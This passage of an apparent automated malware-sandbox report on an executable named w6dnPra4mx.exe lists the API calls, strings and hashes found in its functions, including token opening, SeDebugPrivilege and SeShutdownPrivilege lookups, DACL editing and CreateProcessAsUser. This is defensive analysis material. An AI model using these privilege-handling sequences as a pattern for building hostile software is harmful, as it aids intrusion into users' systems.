                              • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                              • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                              • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                              • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                              • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                              • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                              • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                              • String ID: $default$winsta0
                              • API String ID: 2173856841-1027155976
                              • Opcode ID: dd3fbc5dfca59238d4d8e810ac2ec3cbfbbbad9087bbfadb14fa7de528d26857
                              • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                              • Opcode Fuzzy Hash: dd3fbc5dfca59238d4d8e810ac2ec3cbfbbbad9087bbfadb14fa7de528d26857
                              • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                              APIs
                              • _wcslen.LIBCMT ref: 00409A61
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID: 0vH$4RH
                              • API String ID: 1143807570-2085553193
                              • Opcode ID: d063c81b6d46c843951d1fcf39b71a3da1da6362537048d5aa5123afb1fc8170
                              • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                              • Opcode Fuzzy Hash: d063c81b6d46c843951d1fcf39b71a3da1da6362537048d5aa5123afb1fc8170
                              • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                              APIs
                                • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\w6dnPra4mx.exe,?,C:\Users\user\Desktop\w6dnPra4mx.exe,004A8E80,C:\Users\user\Desktop\w6dnPra4mx.exe,0040F3D2), ref: 0040FFCA
                                • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                              • _wcscat.LIBCMT ref: 0044BD96
                              • _wcscat.LIBCMT ref: 0044BDBF
                              • __wsplitpath.LIBCMT ref: 0044BDEC
                              • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                              • _wcscpy.LIBCMT ref: 0044BE73
                              • _wcscat.LIBCMT ref: 0044BE85
                              • _wcscat.LIBCMT ref: 0044BE97
                              • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                              • DeleteFileW.KERNEL32(?), ref: 0044BED5
                              • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                              • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                              • DeleteFileW.KERNEL32(?), ref: 0044BF17
                              • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                              • FindClose.KERNEL32(00000000), ref: 0044BF35
                              • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                              • FindClose.KERNEL32(00000000), ref: 0044BF7E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                              • String ID: \*.*
                              • API String ID: 2188072990-1173974218
                              • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                              • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                              • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                              • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                              APIs
                              • __invoke_watson.LIBCMT ref: 004203A4
                                • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                              • __get_daylight.LIBCMT ref: 004203B0
                              • __invoke_watson.LIBCMT ref: 004203BF
                              • __get_daylight.LIBCMT ref: 004203CB
                              • __invoke_watson.LIBCMT ref: 004203DA
                              • ____lc_codepage_func.LIBCMT ref: 004203E2
                              • _strlen.LIBCMT ref: 00420442
                              • __malloc_crt.LIBCMT ref: 00420449
                              • _strlen.LIBCMT ref: 0042045F
                              • _strcpy_s.LIBCMT ref: 0042046D
                              • __invoke_watson.LIBCMT ref: 00420482
                              • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                              • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                              • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                              • __invoke_watson.LIBCMT ref: 004205CC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                              • String ID: S\
                              • API String ID: 4084823496-393906132
                              • Opcode ID: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                              • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                              • Opcode Fuzzy Hash: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                              • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                              APIs
                              • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                              • __swprintf.LIBCMT ref: 00434D91
                              • _wcslen.LIBCMT ref: 00434D9B
                              • _wcslen.LIBCMT ref: 00434DB0
                              • _wcslen.LIBCMT ref: 00434DC5
                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                              • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                              • _memset.LIBCMT ref: 00434E27
                              • _wcslen.LIBCMT ref: 00434E3C
                              • _wcsncpy.LIBCMT ref: 00434E6F
                              • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                              • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                              • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                              • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                              • String ID: :$\$\??\%s
                              • API String ID: 302090198-3457252023
                              • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                              • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                              • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                              • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                              APIs
                                • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                              • GetLastError.KERNEL32 ref: 004644B4
                              • GetCurrentThread.KERNEL32 ref: 004644C8
                              • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                              • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                              • String ID: SeDebugPrivilege
                              • API String ID: 1312810259-2896544425
                              • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                              • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                              • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                              • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                              • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                              • __wsplitpath.LIBCMT ref: 004038B2
                                • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                              • _wcscpy.LIBCMT ref: 004038C7
                              • _wcscat.LIBCMT ref: 004038DC
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                              • _wcscpy.LIBCMT ref: 004039C2
                              • _wcslen.LIBCMT ref: 00403A53
                              • _wcslen.LIBCMT ref: 00403AAA
                              Strings
                              • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                              • Error opening the file, xrefs: 0042B8AC
                              • _, xrefs: 00403B48
                              • Unterminated string, xrefs: 0042B9BA
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                              • API String ID: 4115725249-188983378
                              • Opcode ID: 9d3cc106af837a0ba3a302398e1680714f0cc5ac52ed53ec90940b3ab90f08f5
                              • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                              • Opcode Fuzzy Hash: 9d3cc106af837a0ba3a302398e1680714f0cc5ac52ed53ec90940b3ab90f08f5
                              • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                              APIs
                              • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                              • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                              • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                              • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                              • FindClose.KERNEL32(00000000), ref: 00434C88
                              • FindClose.KERNEL32(00000000), ref: 00434C9C
                              • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                              • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                              • FindClose.KERNEL32(00000000), ref: 00434D35
                              • FindClose.KERNEL32(00000000), ref: 00434D43
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                              • String ID: *.*
                              • API String ID: 1409584000-438819550
                              • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                              • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                              • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                              • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Timetime$Sleep
                              • String ID: BUTTON
                              • API String ID: 4176159691-3405671355
                              • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                              • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                              • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                              • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                              APIs
                              • FindFirstFileW.KERNEL32(?,76228FB0,76228FB0,?,?,00000000), ref: 00442E40
                              • FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 00442EA4
                              • FindClose.KERNEL32(00000000,?,00000000), ref: 00442EB5
                              • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00442ED1
                              • FindFirstFileW.KERNEL32(*.*,?), ref: 00442EF0
                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00442F3B
                              • SetCurrentDirectoryW.KERNEL32(0048A090,?,?,?,00000000), ref: 00442F6D
                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 00442F75
                              • FindClose.KERNEL32(00000000), ref: 00442F80
                                • Part of subcall function 00436D2D: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,76233220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                              • FindClose.KERNEL32(00000000,?,?,?,00000000), ref: 00442F92
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                              • String ID: *.*
                              • API String ID: 2640511053-438819550
                              • Opcode ID: 9379a40a392f11a7e453a238fddec55769e51d026bd73d4c4d0da232c8837110
                              • Instruction ID: 5fd3b3f399b1dfd6b0a62b5043663bf11a2259675d3c80dc16c90576bc2ddb84
                              • Opcode Fuzzy Hash: 9379a40a392f11a7e453a238fddec55769e51d026bd73d4c4d0da232c8837110
                              • Instruction Fuzzy Hash: 0F41E8326083046BD620FA64DD85BEFB3A89BC5311F54492FF95483280E7FEA50D8779
                              APIs
                                • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                              • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                              • _memset.LIBCMT ref: 00445E61
                              • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                              • GetLengthSid.ADVAPI32(?), ref: 00445E92
                              • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                              • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                              • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                              • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                              • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                              • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                              • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                              • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                              • String ID:
                              • API String ID: 3490752873-0
                              • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                              • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                              • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                              • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                              APIs
                              • OleInitialize.OLE32(00000000), ref: 0047AA03
                              • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                              • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                              • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                              • _memset.LIBCMT ref: 0047AB7C
                              • _wcslen.LIBCMT ref: 0047AC68
                              • _memset.LIBCMT ref: 0047ACCD
                              • CoCreateInstanceEx.OLE32 ref: 0047AD06
                              • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                              Strings
                              • NULL Pointer assignment, xrefs: 0047AD84
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                              • String ID: NULL Pointer assignment
                              • API String ID: 1588287285-2785691316
                              • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                              • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                              • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                              • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                              APIs
                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                              • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                              • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
